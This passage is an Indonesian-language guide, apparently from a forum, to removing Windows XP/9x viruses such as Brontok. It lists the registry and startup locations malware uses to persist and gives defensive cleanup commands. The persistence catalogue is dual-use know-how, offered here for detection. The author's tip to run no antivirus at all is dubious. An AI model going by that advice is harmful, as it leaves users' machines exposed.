= Baris kedua, “[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]” menunjukkan lokasi key registry, di mana daftar value beserta nilai data yang disebutkan di bawahnya akan disimpan.
= Baris ketiga, “NoFolderOptions”=dword:00000000, menyebutkan nama value beserta data yang diinginkan untuk value tersebut. Pada contoh ini berarti mengubah/memberi data bernilai 0 pada value bernama “NoFolderOptions”.
= File regedit yang diketik dengan format WinXP (format baru) maupun format lama (Win9X/NT), keduanya dapat digunakan untuk Windows XP, tetapi format lama hanya dapat digunakan untuk Windows 9X/NT.
Alternatif 3: Menggunakan StartUp Disk (hanya berlaku untuk Win9X)
Cara ini adalah cara yang paling susah, dan mungkin merupakan satu-satunya cara efektif memulihkan registry ketika sistem sudah terlanjur lumpuh sama sekali.
1. Boot menggunakan StartUp Disk
a. Masukkan StartUp Disk Win95/98 ke floppy drive.
b. Restart (pastikan konfigurasi setting boot sequence di BIOS menunjuk ke disket).
2. Masuk ke direktori (folder) C:\Windows
A:\>C:
C:\>CD WINDOWS
3. Lakukan ekspor data dari registry ke file .reg khusus untuk key yang diinginkan
Format perintah:
REGEDIT /E namakey namafilereg
Contoh:
REGEDIT /E HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer TES.REG
Jika nama key mengandung spasi, gunakan tanda petik:
REGEDIT /E “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer” TES.REG
3. Memunculkan Kembali Menu Folder Options pada Windows Explorer
Beberapa virus perlu menyembunyikan file-file tertentu agar user (pemakai komputer) tidak menyadari adanya virus dan agar virus tersebut lebih susah dihapus, dengan membuat file tersebut menjadi hidden. File hidden tersebut masih dapat dilihat oleh user jika setting Folder Options pada pilihan ‘Show hidden files and folders’ diaktifkan. Kadang-kadang menu inipun dihilangkan oleh virus untuk menjamin file-file virus tetap tak terlihat. Untuk menyembunyikan menu Folder Options, cara paling mudah dan paling umum diterapkan oleh virus adalah dengan mengubah setting registry, dengan menyisipkan value “NoFolderOptions” yang bernilai 1. Untuk memunculkan kembali menu Folder Options, value ini harus dihapus, atau diubah nilainya menjadi “0”.
= Untuk mengubah setting Folder Options, klik menu Tools > Folder Options pada Windows Explorer.
= Value NoFolderOptions pada registry berada salah satu atau kedua lokasi berikut:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Value tersebut dapat dihapus dengan menggunakan program REGEDIT, atau dengan mengetikkan perintah berikut pada Command Prompt:
REG DELETE HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoFolderOptions
REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoFolderOptions
4. Memunculkan Menu Run
Hapus value “NoRun” atau ubah nilainya menjadi 0 dengan menggunakan operasi registry (lihat contoh operasi registry untuk memunculkan menu Folder Options di atas). Value “NoRun” berada pada key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
5. Memunculkan Menu Find
Hapus value “NoFind” atau ubah nilainya menjadi 0 dengan menggunakan operasi registry (lihat contoh operasi registry untuk memunculkan menu Folder Options di atas). Value “NoFind” berada pada key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
6. Mengaktifkan REGEDIT
Kadang-kadang REGEDIT tidak dapat dijalankan karena di-disable melalui setting registry oleh virus. Untuk memulihkan kembali, hapus value “DisableRegistryTools” atau ubah nilainya menjadi 0 dengan menggunakan Command Prompt (hanya untuk WinXP), atau dengan membuat file .REG (hanya untuk Win9X).
7. Memunculkan File Hidden dengan Mengubah Atributnya Melalui Command Prompt
File hidden (tersembunyi) dapat dimunculkan tanpa memainkan Folder Options, tetapi dengan menonaktifkan atribut hidden pada file tersebut. Atribut file hidden hanya dapat diubah di Windows Explorer jika setting Folder Options memungkinkan file hidden ditampilkan. Alternatifnya adalah dengan mengubah atribut file tersebut melalui Command Prompt. Untuk melihat daftar file hidden melalui Command Prompt, gunakan perintah “DIR /AH”. Selanjutnya gunakan perintah ATTRIB diikuti parameter atribut yang akan diubah. Contoh berikut dapat digunakan untuk menonaktifkan atribut hidden, read only, dan system sekaligus, pada semua file di direktori aktif:
ATTRIB –r –h –s *.*
8. Mencari File Melalui Command Prompt
a. Melihat daftar file/folder yang berada di folder aktif:
DIR *.*
b. Melihat daftar file/folder yang berada di folder aktif, termasuk file/folder hidden:
DIR *.* /A “A” adalah singkatan dari “ALL”
c. Melihat daftar file (tidak termasuk folder) yang berada di folder aktif:
DIR *.* /A-D “D” adalah singkatan dari “DIRECTORY”, “-“ berarti pengecualian
d. Melihat daftar folder (tidak termasuk file) yang berada di folder aktif:
DIR *.* /AD “D” adalah singkatan dari “DIRECTORY”
e. Melihat daftar file/folder hidden:
DIR *.* /AH “H” adalah singkatan dari “HIDDEN”
f. Melihat daftar file/folder urut berdasarkan nama:
DIR *.* /ON untuk file dan folder, “O” berarti “ORDER BY”, “N” berarti “NAME”
DIR *.* /AD /ON untuk folder saja
DIR *.* /A-D /ON untuk file saja
DIR *.* /A-DH /ON untuk file hidden saja
DIR *.* /ADH /ON untuk folder hidden saja
g. Melihat daftar file/folder urut berdasarkan tipe (ekstensi)
Caranya mirip dengan pengurutan berdasarkan nama, hanya saja “/ON” diganti dengan “/OE”.
h. Melihat daftar file urut berdasarkan ukuran
Caranya mirip dengan pengurutan berdasarkan nama, hanya saja “/ON” diganti dengan “/OS”.
Untuk informasi rinci tentang aturan pemakaian perintah DIR, ketikkan “DIR /?” lalu tekan enter.
9. Mematikan Proses yang Dicurigai
Yang dimaksud proses adalah program yang berjalan di latar belakang (background program), tidak memiliki form karena tidak dibuat untuk berinteraksi dengan user. Berbeda dengan program aplikasi yang memang terlihat karena harus berinteraksi dengan user. Virus biasanya dibuat sedemikian rupa sehingga ketika virus tersebut berjalan tidak terlihat sama sekali, ia hanya berupa proses. File virus yang sedang berjalan biasanya tidak dapat dihapus karena prosesnya sedang berjalan. Biasanya file virus tersebut baru dapat dihapus setelah prosesnya dihentikan. Daftar program aplikasi dan proses yang sedang berjalan dapat dilihat menggunakan Windows Task Manager (TASKMGR.EXE) cukup dengan menekan tombol Ctrl + Alt + Del. Setelah jendela Windows Task Manager muncul, kita dapat memilih “Applications” untuk melihat daftar program aplikasi; atau “Processes” untuk melihat daftar proses. Pilihan lainnya adalah “Performance”, “Networking”, dan “Users”.
Untuk menghentikan program aplikasi yang sedang berjalan, pilih nama aplikasi dari daftar, kemudian klik tombol “End Task”. Untuk menghentikan proses yang sedang berjalan, pilih nama proses kemudian klik tombol “End Process”. Jika Windows Task Manager tidak dapat dijalankan, kita masih dapat melihat dan menghentikan proses yang sedang berjalan dari Command Prompt dengan memanggil program “TASKLIST.EXE” untuk melihat daftar proses, kemudian memanggil program “TASKKILL.EXE” untuk menghentikan proses.
Contoh:
TASKLIST
TASKKILL /F /IM Notepad.exe /IM MSPAINT.EXE
TASKKILL /F /PID 1230 /PID 1253 /T
Keterangan:
Parameter “/F” yang berarti “FORCE” akan menyebabkan proses dihentikan secara paksa.
Parameter “/IM” berarti “IMAGE (NAME)”. Maksudnya proses yang akan dihentikan adalah proses dengan nama yang disebutkan setelah parameter “/IM”.
Parameter “/T” berarti “TREE” dan menyebabkan semua proses cabang juga dihentikan.



BAGIAN 2: CELAH-CELAH PEMICU AKTIFNYA VIRUS
Program virus yang dikopi ke komputer yang bersih dari virus tidak mengakibatkan komputer tersebut tertular. Virus tersebut menjadi aktif dan mulai bekerja ketika program tersebut dijalankan oleh user, misalnya ketika diklik dua kali melalui Windows Explorer. Jadi infeksi virus pertama kali ke komputer diakibatkan oleh user sendiri. Sekali saja diberi kesempatan, virus dapat secara leluasa membuat jadwal aktif sesuai yang diinginkan pembuatnya. Dengan melihat celah-celah yang dapat menjadi pemicu aktifnya virus, kita akan lebih mudah menemukan sarang persembunyian virus kemudian meringkusnya.
1. Registry
Registry menyediakan fasilitas yang memungkinkan program aktif sendiri sebelum start menu muncul. Fasilitas ini sebenarnya disediakan untuk program-program aplikasi, namun banyak dimanfaatkan oleh virus. Setting registry dapat dilihat dan dimanipulasi menggunakan program REGEDIT bawaan Windows (Run, REGEDIT). Struktur di dalamnya terdiri atas lima root (HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, dan HKEY_CURRENT_CONFIG), masing-masing root memiliki banyak cabang yang disebut key. Setiap key dapat memuat beberapa key dan/atau value. Dalam struktur manajemen file, root dapat diidentikkan dengan drive, key identik dengan folder, dan value identik dengan file. Seperti halnya folder, key tidak dapat memuat data, ia hanya dapat memuat key lain dan value. Data registry yang dapat mempengaruhi perilaku sistem secara keseluruhan dimuat dalam value. Untuk mengetahui struktur registry secara lebih jelas, jalankan REGEDIT. Hati-hati menjalankan REGEDIT, karena salah prosedur dapat mengakibatkan sistem lumpuh total!!!
a. Key “Run”
Key “Run” dibuat untuk menampung daftar program yang akan dijalankan sistem sesaat sebelum start menu aktif. Di registry, key ini dapat ditemukan di beberapa tempat yaitu di:
= Key “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion”
= Key “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion”
= Beberapa key di dalam key “HKEY_USERS”
Jika satu atau beberapa user didaftarkan dalam User Account (Control Panel > User Account), maka pada root HKEY_USERS akan terdapat beberapa key yang menampung setting untuk masing-masing user. Sebagian dari key ini juga berisi key “Software\Microsoft\Windows\CurrentVersion” dan di dalamnya mungkin juga memuat key “Run”.
b. Value “Shell” dan “Userinit” di dalam Key “Winlogon”
Value “Shell” dan value “Userinit” di dalam key “Winlogon” dapat memberikan efek yang sama efektifnya—bagi virus—dengan value yang disimpan di dalam key “Run”. Umumnya data untuk kedua value tersebut adalah:
Shell = “Explorer.exe”
Userinit = “C:\WINDOWS\system32\userinit.exe,”
Key “Winlogon” berada di:
= Key “HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion”
= Key “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion”
= Beberapa key di dalam key “HKEY_USERS”
Selain value dan key yang disebutkan di atas, sangat dimungkinkan masih banyak key/value yang dapat dimanfaatkan oleh virus, meskipun mungkin tidak efektif, dan selama ini penulis belum pernah menemukan.
Jika ditemukan value yang mencurigakan, lakukan analisis yang memadai sebelum memutuskan untuk menghapusnya. Jangan asal hapus!!!
2. Start Menu dan Desktop
a. Start > Programs > StartUp
Folder “StartUp” di start menu disediakan untuk menampung program-program yang akan dijalankan secara otomatis oleh Windows ketika proses booting selesai. Virus dapat memanfaatkan folder ini untuk memicu aktifnya virus tersebut dengan membuat shortcut di dalamnya, atau dengan membuat duplikat virus di dalamnya. Virus Brontok versi awal memanfaatkan folder ini dengan membuat file bernama “EMPTY.PIF” bergambar program DOS.
b. Link/Shortcut
File-file link atau shortcut (file berekstensi “.LNK” dan “.PIF”) yang berada di start menu atau di desktop berfungsi sebagai “jalan pintas” ke file program untuk memudahkan user menjalankan program tersebut. File semacam ini, karena bukan benar-benar program, umumnya berukuran kecil, tidak lebih dari 4KB. File ini dapat dimanipulasi virus sehingga tidak menunjuk ke program yang seharusnya, tetapi dibelokkan ke program virus. Untuk mengetahui shortcut tersebut dibelokkan atau tidak, klik kanan pada file shortcut tersebut, klik “Properties”, kemudian lihat keterangan pada kotak “Target”.
File shortcut juga bisa saja dihapus oleh virus kemudian diganti dengan program virus yang ikonnya dibuat sama dengan file shortcut yang asli. Kasus semacam ini jarang, tetapi pernah terjadi. Jika hal ini terjadi, umumnya ukuran file ‘shortcut’ tersebut lebih dari 4KB. Tetapi ukuran file “shortcut” yang besar tidak menjadi jaminan bahwa file tersebut telah dimanipulasi menjadi program virus. Untuk memastikannya harus dilihat isinya menggunakan program HEX Editor. Sayangnya hanya orang-orang tertentu—terutama yang pernah mempelajari pemrograman atau teknik elektronika digital —yang bisa memahami program HEX Editor. File shortcut umumnya memiliki gambar panah, kecuali jika file tersebut dilihat di start menu. Jika kita melihat isi folder start menu menggunakan Windows Explorer, semua file shortcut asli (bukan folder) akan memiliki gambar panah. Jika tidak ada gambar panahnya, kemungkinan (bukan jaminan) file shortcut tersebut sudah bukan shortcut beneran.
3. Task Scheduler
Lihat Control Panel > Scheduled Tasks untuk melihat daftar jadwal periodik yang sudah dijadwalkan di sistem. Virus kadang-kadang membuat jadwal di sini untuk menjalankan program virus dari lokasi tertentu. Hapus scheduled task yang merugikan saja.
4. AUTOEXEC.BAT
Setiap booting, komputer akan memeriksa file C:\AUTOEXEC.BAT dan menjalankan perintah-perintah di dalamnya, jika ada. Tentu saja peluang ini menguntungkan program aplikasi maupun program virus. Periksa isinya, dan hapus perintah yang merugikan atau yang menunjuk ke file virus. Jika tidak yakin dengan akibatnya, file AUTOEXEC.BAT dapat dikopi dulu, sehingga jika terjadi hal-hal yang tidak diinginkan, dapat dikembalikan seperti semula dengan menimpa file AUTOEXEC.BAT dengan kopian yang telah dibuat. Untuk menonaktifkan satu atau beberapa perintah di dalam file AUTOEXEC.BAT dapat ditambahkan kata “REM” (tanpa tanda petik).
5. Ambil Alih Program
Virus bisa juga mengambil alih program dengan cara sebagai berikut:
a. Mengubah nama program aplikasi yang sering digunakan user. Misalnya WINWORD.EXE (Microsoft Word) diubah menjadi WINWORD1.EXE.
b. Membuat duplikat virus dengan nama program yang sering digunakan user. Dalam contoh ini, virus membuat duplikat dengan nama WINWORD.EXE.
c. Ketika user bermaksud menjalankan program aplikasi (Microsoft Word), user sebenarnya menjalankan program virus, kemudian program virus tersebut memanggil program aplikasi yang asli yang telah diubah namanya (WINWORD1.EXE).
Strategi ini diterapkan oleh virus d2/Decoil daun, dengan mengambil alih program Winamp. Untuk memeriksanya, cek program-program yang shortcutnya tersedia di start menu atau di desktop. Program virus umumnya kecil, yaitu antara 30KB sampai 300KB, sedangkan program aplikasi biasanya berukuran relatif besar (WINWORD.EXE berukuran lebih dari 8.000KB, EXCEL.EXE berukuran lebih dari 6.000KB). Tanggal pembuatan program juga dapat digunakan untuk mengetahui apakah suatu program masih asli atau tidak, meskipun sebenarnya suatu file dapat diubah tanggalnya dengan mudah.
6. Kemungkinan Celah-celah Lain
a. ???
BAGIAN 3: LANGKAH-LANGKAH MENGATASI VIRUS
Bagian ini tidak membahas langkah-langkah praktis untuk menangani virus-virus yang biasa dijumpai, karena sebenarnya setiap virus memiliki cara kerja, strategi penyerangan, tingkat serangan dan teknik removal (cara mengatasi) sendiri-sendiri. Dengan penyajian seperti berikut ini diharapkan dapat dipahami konsep-konsep bagaimana mengatasi virus, sehingga dapat diterapkan untuk bermacam-macam virus yang pokok strateginya sama. Dilihat dari cara kerja virusnya, sebenarnya masih banyak jenis virus yang tidak mempan dengan cara-cara yang dijelaskan di sini, karena memang cara kerjanya sama sekali berbeda. Apa yang dibahas di sini adalah cara-cara umum untuk mengatasi jenis virus yang mudah dibuat dan selama ini banyak beredar di Indonesia, menembus hingga ke daerah pelosok yang tidak memiliki jaringan internet. Virus-virus semacam ini tidak sulit dibuat bagi programmer yang kemampuannya sedikit di atas programmer rata-rata.
Untuk jenis virus yang dijelaskan di atas, langkah-langkah umum untuk mengatasinya adalah sebagai berikut:
1. Hentikan proses yang mencurigakan
Sebagian besar proses dalam daftar proses adalah proses yang dijalankan sistem (Windows) atau program yang memang sengaja kita jalankan. Jika kita terlanjur membunuh proses yang merupakan bagian dari sistem, kadang-kadang komputer akan shutdown sendiri dengan pemberitahuan dan hitungan mundur sebelumnya. Kadang-kadang proses virus begitu mudah dikenali karena menggunakan nama yang ganjil (misal “sempalong” atau “eksplorasi” pada virus Brontok). Tetapi tidak jarang proses virus menggunakan nama yang sekilas tampak familiar, sehingga user menyangka proses tersebut adalah proses dari sistem operasi, tetapi sebenarnya sama sekali berbeda dengan nama-nama yang digunakan oleh sistem, misal: lExplorer (LEXPLORER, bukan iexplorer, dengan huruf “i” besar). Bahkan banyak juga yang menggunakan nama sama persis dengan nama proses yang dijalankan oleh sistem, sehingga kita tidak dapat membedakan proses virus dan proses sistem hanya berdasarkan namanya.
Nama-nama bawaan Windows sendiri yang umum di antaranya adalah “SVCHOST.EXE”, “SPOOLSV.EXE”, “SERVICES.EXE”, “WINLOGON.EXE”, “LSASS.EXE”, “CRSS.EXE”, “EXPLORER”, “System”, “System Idle Process”. Nama-nama ini biasanya selalu ada, meskipun komputer tidak sedang menjalankan program satu pun. Kadang-kadang virus juga menggunakan nama-nama ini supaya tidak di-stop oleh user. Kecuali “SVCHOST.EXE”, umumnya nama proses bawaan sistem tidak kembar. Jika misalnya ada dua proses yang namanya sama-sama “SERVICES.EXE”, mungkin salah satunya adalah proses yang dijalankan oleh virus.
Jika kita melihat daftar proses lewat Command Prompt dengan memanggil program “TASKLIST.EXE”, kita juga dapat melihat Process ID (PID) dari masing-masing proses. Pada Windows Task Manager, PID tidak ditampilkan. Jika kebetulan ada beberapa proses yang namanya sama dan sebagian dari proses tersebut adalah proses virus, maka saya akan lebih mungkin mencurigai proses yang PID nya lebih besar sebagai virus, dengan berdasarkan asumsi dan logika bahwa PID diberikan secara unik dan urut, dan proses virus tentu dijalankan setelah sebagian proses sistem dijalankan.
2. Hapus/ubah nama file yang dicurigai sebagai virus
Kita dapat menghapus file yang mencurigakan yang berada di sistem (di folder bawaan Windows) jika kita yakin tidak akan menimbulkan masalah yang lebih serius. Tetapi jika tidak yakin akan hal ini, lebih baik file tersebut cukup diubah nama atau ekstensinya saja, misal “Sempalong.exe” diubah menjadi “Sempalonk.exe” atau “Sempalong.ex_”.
Masalah yang mungkin timbul:
>> File yang mencurigakan tidak ditemukan
Virus yang dirancang dengan baik tentu saja tidak mudah ditemukan, karena mungkin menerapkan salah satu atau perpaduan dari beberapa trik berikut:
1. atribut file virus tersebut dibuat hidden
> Ubah setting Folder Options agar file hidden tetap ditampilkan.
> Jika pencarian file dilakukan menggunakan fasilitas Search, pastikan pilihan “Search system folders”, “Search hidden files and folders” dan “Search subfolders” pada menu “More advanced options” diaktifkan (dicentang).
> Jika pencarian file dilakukan dengan perintah “DIR” melalui Command Prompt, gunakan parameter “/AH” untuk menampilkan file hidden.
> Bila perlu, non-aktifkan atribut hidden pada semua file di folder tertentu dengan mengetikkan “ATTRIB –r –h –s *.*” pada Command Prompt.
2. setting Folder Options diatur agar file hidden tidak terlihat (setting default bawaan Windows memang tidak memperlihatkan file hidden)
> Ubah setting Folder Options.
3. menu Folder Options pada Windows Explorer dihilangkan
> Munculkan kembali menu Folder Options.
4. file virus menggunakan ekstensi selain “.EXE”
Perlu diketahui bahwa virus semacam ini tidak selalu berekstensi “.EXE”. Bisa jadi kita hanya mencari file “*.EXE” untuk menemukan virus tersebut, sedangkan virus tersebut menggunakan ekstensi lain yang sama efektifnya bagi virus, misalnya ekstensi “.COM” (MS DOS Application), “.PIF” (Shortcut to MSDOS Program), “.SCR” (Screen Saver), “.BAT” (MS-DOS Batch File), “.LNK (Shortcut)”.
>> File yang mencurigakan tidak dapat dihapus/di-rename
Hal ini dapat terjadi jika file tersebut adalah file program yang sedang dijalankan. Jika ini terjadi, hentikan dulu proses yang berasal dari file program tersebut. Bila perlu, gunakan TASKLIST dan TASKKILL untuk mematikan proses yang dicurigai.
>> Kita terkecoh karena menyangka file tersebut bukan virus
File virus bisa saja berwajah dokumen, ketikan teks notepad, atau bahkan folder. Ingat bahwa setiap program memiliki ikon sendiri-sendiri. Hal ini berarti pembuat program memang mempunyai kebebasan penuh dalam menentukan ikon dari program yang dibuatnya, sebebas virus Brontok memilih ikon/gambar folder.
Virus bisa saja tampil dalam berbagai nama, wajah/ikon, tipe, ukuran, maupun tanggal lahir. Keempat sifat file ini memang dapat digunakan untuk mempermudah pencarian file, tetapi juga sangat memudahkan virus menyamarkan diri. Satu-satunya pedoman yang aman adalah ekstensi file (misal “.EXE”, “.COM”, atau “.SCR”). Ekstensi file berbeda dengan tipe file (misal “Microsoft Word Document”, “Text Document”, “File Folder”). Tipe yang ditampilkan di Windows Explorer dapat dimanipulasi dengan mudah oleh virus sehingga memungkinkan beberapa ekstensi file memiliki nama tipe yang sama.
3. Lumpuhkan pemicu aktifnya virus
Periksa celah-celah yang memungkinkan aktifnya virus, kemudian hapus atau kembalikan seperti seharusnya, jika dijumpai manipulasi yang merugikan.
4. Hapus file duplikat virus
Jika virus di sistem (di drive C:) sudah bersih, cari juga di folder data dan di drive lain. Hapus semua file yang diyakini sebagai virus.
5. Pulihkan sistem
Kembalikan setting registry yang telah dimanipulasi virus untuk memperlancar aksinya, misalnya: aktifkan kembali REGEDIT, munculkan kembali menu Folder Options, konfigurasi Folder Options yang memudahkan user mengenali karakteristik file, dan sebagainya.
_________________
I’m just like a pill.. Instead of makin’ you better, I keep makin’ you ill.
uthor: Heryudi Praja
BAGIAN 4: CONTOH PENANGANAN VIRUS
Virus Brontok
Sebenarnya virus Brontok sudah berkembang dan dirilis berkali-kali. Penulis tidak ingat virus Brontok yang diujicoba ketika tulisan ini dibuat versi berapa. Yang jelas ciri-ciri dan cara kerja virus yang diujicoba ini dijelaskan berikut ini.
a. Ciri-ciri
= Memanfaatkan ekstensi EXE, COM, PIF, SCR untuk duplikasi virus
= Ukuran file 45KB (45.344 byte)
= Dibuat tanggal 16 Januari 2006, jam 09:10
= Memperlambat komputer
= Menghilangkan menu Folder Options
= Memanipulasi setting Folder Options sehingga file hidden tidak ditampilkan
= Menyembunyikan ekstensi file pada Windows Explorer
= Membuat file EMPTY.PIF (duplikat virus) di Start > Programs > StartUp
= Restart komputer jika user mencoba menjalankan program-program: REGEDIT.EXE, CMD.EXE (Command Prompt),
= Membuat jadwal periodik (Scheduled Task) bernama At1 dan At2, lihat di Control Panel > Scheduled Tasks
= Membuat duplikasi virus:
Banyak file duplikasi yang namanya diacak dengan nama-nama seperti: br6657on.exe, csrss.exe, inetinfo.exe, lsass.exe, services.exe, smss.exe, svchost.exe, winlogon.exe, 11496-NendangBro.com, Empty.pif, DXBLAK.exe, cmd-bro-nmx.exe.
• File screen saver (.SCR) di folder C:\Windows\System32 dengan nama misalnya “kecrut’s Settings.SCR”, di mana kecrut adalah nama user yang terdaftar dalam User Accounts (Control Panel > User Accounts)
• EMPTY.PIF di Start > Programs > StartUp
• Di Folder C:\Windows\ShellNew
= Dibuat menggunakan program Visual Basic 6.0
= Virus tetap bekerja di Safe Mode
b. Cara Mengatasinya
= Catat ukuran dan tanggal file virus yang sudah menular di berbagai folder. Jika tidak ketemu, klik kanan file EMPTY.PIF di Start ® Programs ® Startup, klik Properties, lihat ukuran dan tanggalnya.
= Booting ulang menggunakan StartUp Disk Windows 98 (walah… harus buat StartUp 98)
= Setelah berhasil masuk ke Command Prompt 98:
1. Masuk ke folder Windows (C:\Windows), cari file .EXE yang ukuran dan tanggalnya sama dengan file virusnya. File ini hidden, gunakan perintah “DIR *.EXE /A”.
2. Non-aktifkan atribut hidden pada file tersebut, kemudian ubah ekstensi file tersebut menjadi ekstensi lain misalnya “.DEL”. Jika file ini ternyata bukan file virus, nanti bisa dikembalikan ke nama aslinya.
(Misal nama filenya “SEMBAK~1.EXE”:)
ATTRIB –R –H –S SEMBAK~1.EXE
REN SEMBAK~1.EXE SEMBAK~1.DEL
3. Masuk ke folder C:\Documents and Settings, ubah semua folder yang namanya sama dengan nama-nama user yang terdaftar dalam User Accounts. Nama yang panjang biasanya terpotong menjadi enam karakter ditambah karakter “~” dan karakter angka, misal “Soepardjono” akan menjadi “SOEPAR~1″. Jika nama folder mengandung titik, folder tersebut akan memiliki ekstensi. Gunakan perintah “DIR /AD” untuk melihat nama-nama folder di dalamnya.
Contoh:
C:\WINDOWS>CD ..
C:\>CD DOCUME~1 atau CD “Documents and Settings”
C:\DOCUME~1>DIR /AD
(Daftar nama folder ditampilkan)
C:\DOCUME~1>REN SOEPAR~1 SUPAR
C:\DOCUME~1>REN MASYUS~1.YES MASYUS.TOK
4. Masuk ke folder C:\Windows\ShellNew, ubah ekstensi file .EXE yang tanggal dan ukurannya sama dengan tanggal dan ukuran file virus. File ini hidden, gunakan perintah “DIR *.*/A”. Sebelum dihapus, atribut hidden-nya harus dinonaktifkan dulu:
(Misal nama filenya bbm-ypmmngnc.exe)
ATTRIB –R –H –S BBM-Y~1.EXE
REN BBM-Y~1.EXE BBM-Y~1.DEL
5. Keluarkan disket startup dari floppy drive, kemudian restart.
6. Jika langkah-langkah di atas berhasil, setelah booting akan muncul pesan “Windows cannot find … ” diikuti nama salah satu virus yang ngendon di sistem.
7. Hapus At1 dan At2 di Control Panel ® Scheduled Tasks. Dua file ini adalah file penjadwal aktifnya virus.
8. Jalankan Windows Explorer. Klik menu View ® Details supaya Windows Explorer menampilkan atribut file secara detail (nama, ukuran, ekstensi, tipe).
Sampai di sini, Folder Options di Windows Explorer sudah muncul, CMD.EXE (Command Prompt) sudah dapat dijalankan, REGEDIT juga sudah dapat dijalankan.
9. Klik Tools ® Folder Options, kemudian lakukan konfigurasi berikut:
o Aktifkan “Show hidden files and folders” supaya file hidden tetap terlihat.
o Non-aktifkan “Hide extensions for known file types” supaya ekstensi setiap file ditampilkan.
o Non-aktifkan “Hide protected operating system files (Recommended)” supaya file C:\AUTOEXEC.BAT dapat dilihat.
o Klik tombol “Apply to All Folders”, supaya setting di atas diberlakukan untuk setiap folder, bukan hanya untuk folder yang sekarang dibuka.
10. Saatnya mencari sisa-sisa file virus yang masih ada di sistem Gunakan fasilitas Search, dan pada kategori pilihan More advanced options, aktifkan pilihan Search system folders, Search hidden files and folders, dan Search subfolders.
o Mulai mencari dari folder yang namanya sama dengan nama-nama user di dalam folder C:\Documents and Settings:
+ Masukkan kata kunci pencarian nama file: “*.EXE”, kemudian klik Search.
+ Tunggu hingga proses search selesai! Kemudian urutkan hasil pencarian berdasarkan ukuran (View ® Arrange Icons by ® Size), atau klik kolom “Size” pada tampilan daftar file. Dengan cara ini semua file yang sama ukurannya akan mengelompok.
+ Jika terdapat file yang tidak diragukan lagi sebagai virus, hapus saja. Perhatikan ikon, ukuran dan tanggalnya.
+ Ulangi lagi langkah pencarian dari awal, tetapi menggunakan kata kunci “*.COM”, kemudian “*.PIF”, dan “*.SCR”.
o Lakukan juga pencarian di folder C:\Windows.
11. Klik kanan file C:\AUTOEXEC.BAT, kemudian klik Edit. Hapus baris pertama yang bertulisan “PAUSE”, kemudian simpan kembali.
12. Jalankan REGEDIT, kemudian lakukan langkah-langkah berikut:
o Masuk ke key Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Jika terdapat value yang datanya menunjuk ke file-file virus, hapus value tersebut. Jika tidak yakin value tersebut dibuat oleh virus, sebaiknya data tersebut diekspor dulu dengan mengklik menu File ® Export… . Jika ternyata value tersebut ternyata bukan buatan virus, nanti file hasil ekspor tinggal diklik dua kali untuk mengembalikan seperti semula.
Cari juga value serupa di key Run di lokasi-lokasi lain. Jika tidak tahu lokasi lain untuk key Run, gunakan fasilitas Find (Edit ® Find…) untuk mencari key “Run”.
Contoh value yang mesti dihapus:
# Value bernama Bron-Spizaetus, datanya kosong (tidak ada datanya).
# Value bernama Bron-Spizaetus, yang berisi data “C:\WINDOWS\ShellNew\bbm-ypmmngnc.exe”
o Masuk ke key Winlogon
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
# Jika terdapat value Shell yang datanya “Explorer.exe” diikuti nama file virus (contoh: Explorer.exe “C:\WINDOWS\sembako-cnzjmng.exe”), ubah sehingga datanya hanya “Explorer.exe” saja.
# Virus jenis lain mungkin akan mengubah data untuk value Userinit. Biasanya value ini berisi data “C:\WINDOWS\system32\userinit.exe,”.
13. Sampai di sini, jika berhasil, sistem sudah bersih dari virus. Meskipun versi lain mungkin menambahkan strategi baru. Di folder-folder selain folder sistem (mungkin juga di drive lain), kemungkinan masih ada duplikasi virus, tetapi tidak aktif. Cari semua file .EXE dan hapus semua yang diyakini sebagai virus (perhatikan ciri-cirinya!). Mungkin juga perkembangan ke depan virus ini menular dengan ekstensi .SCR, .COM, .PIF.
14. Restart ulang. Jika proses selanjutnya kembali normal berarti proses pembersihan virus berhasil.
o Folder-folder di C:\Documents and Settings yang tadinya di-rename, mungkin masih menyimpan data-data dokumen penting. Cari folder dokumen di dalamnya (biasanya setiap user dibuatkan satu folder dokumen) dan selamatkan data-data di dalamnya. Di folder ini akan muncul nama-nama folder baru untuk menyimpan setting dan data masing-masing user. Pindahkan data-data tersebut di folder user yang baru ini.
o File-file yang ekstensinya telah diubah (menjadi *.DEL) dapat dihapus jika proses pembersihan berhasil.
BAGIAN 5: PENCEGAHAN VIRUS
Memulihkan komputer yang terkena virus akan sangat merepotkan dan melelahkan. Kadang-kadang dicoba berkali-kali belum tentu berhasil. Untuk komputer yang belum terkena virus, akan jauh lebih mudah jika kita membiasakan diri dengan pola pemakaian komputer yang ‘aman’ dan sedia payung sebelum hujan.
Setiap orang punya cara sendiri untuk mencegah penularan virus. Berikut adalah cara-cara yang saya terapkan, pertimbangkan dan terapkan yang sesuai menurut anda:
1. Saya tidak menggunakan anti virus sama sekali. Anti virus rata-rata memperlambat komputer (ketahuan kalo komputer saya masih kuno…), melakukan banyak intervensi, dan kurang efektif untuk virus-virus lokal yang selama ini justru lebih besar ancamannya daripada virus-virus internasional. Update anti virus secara berkala juga tidak menjamin anti virus akan efektif.
2. Pastikan setting Windows Explorer memudahkan kita memergoki virus.
